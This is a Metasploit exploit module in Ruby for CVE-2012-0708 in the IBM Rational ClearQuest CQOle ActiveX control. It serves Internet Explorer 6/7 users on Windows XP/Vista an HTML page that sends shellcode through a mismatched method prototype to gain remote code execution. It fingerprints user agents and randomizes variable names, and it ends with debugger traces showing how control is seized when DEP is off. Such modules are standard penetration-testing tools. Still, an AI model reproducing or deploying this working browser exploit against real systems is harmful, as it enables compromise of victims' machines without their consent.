159 lines
5.0 KiB
Ruby
159 lines
5.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "7.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:classid => "{94773112-72E8-11D0-A42E-00A024DED613}",
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:method => "RegisterSchemaRepoFromFileByDbSet",
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:rank => NormalRanking
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "IBM Rational ClearQuest CQOle Remote Code Execution",
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'Description' => %q{
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This module exploits a function prototype mismatch on the CQOle ActiveX
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control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which
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allows reliable remote code execution when DEP isn't enabled.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Andrea Micalizzi aka rgod', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2012-0708' ],
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[ 'BID', '53170' ],
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[ 'OSVDB', '81443'],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-113/' ],
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[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ],
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "process",
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# cqole.dll 7.1100.0.150
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[ 'Automatic', {} ],
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[ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite
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],
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'Privileged' => false,
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'DisclosureDate' => "May 19 2012",
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'DefaultTarget' => 0))
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[1] #IE 7 on Windows XP
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[1] #IE 7 on Windows Vista
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
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send_not_found(cli)
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return
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end
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js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))
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object_id = rand_text_alpha(rand(8) + 4)
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dbset_value = rand_text_alpha(rand(8) + 4)
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var_payload = rand_text_alpha(rand(8) + 4)
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html = <<-EOS
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<html>
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<body>
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<object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>
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<script language="JavaScript">
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var #{var_payload} = unescape("#{js_code}")
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#{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});
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</script>
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</body>
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</html>
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EOS
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html = html.gsub(/^\t\t/, '')
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print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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* RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called:
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Breakpoint 0 hit
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eax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
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eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0 nv up ei pl nz na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
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MFC80U!_AfxDispatchCall+0xe:
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78371062 ffd0 call eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}
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* RegisterSchemaRepoFromFile prototype (it is going to be executed):
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.text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *)
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his ret is: retn 4
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* RegisterSchemaRepoFromFileByDbSet prototype (it should be executed):
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.text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *)
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his ret is: retn 8
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* When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens:
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0:000> p
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eax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c
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eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
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MFC80U!_AfxDispatchCall+0x10:
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78371064 c3 ret
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0:000> dd esp
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0013e208 001dcff4 7835f5d2 fffffffe 78336a3a
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ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on
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the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is
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disabled
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=end |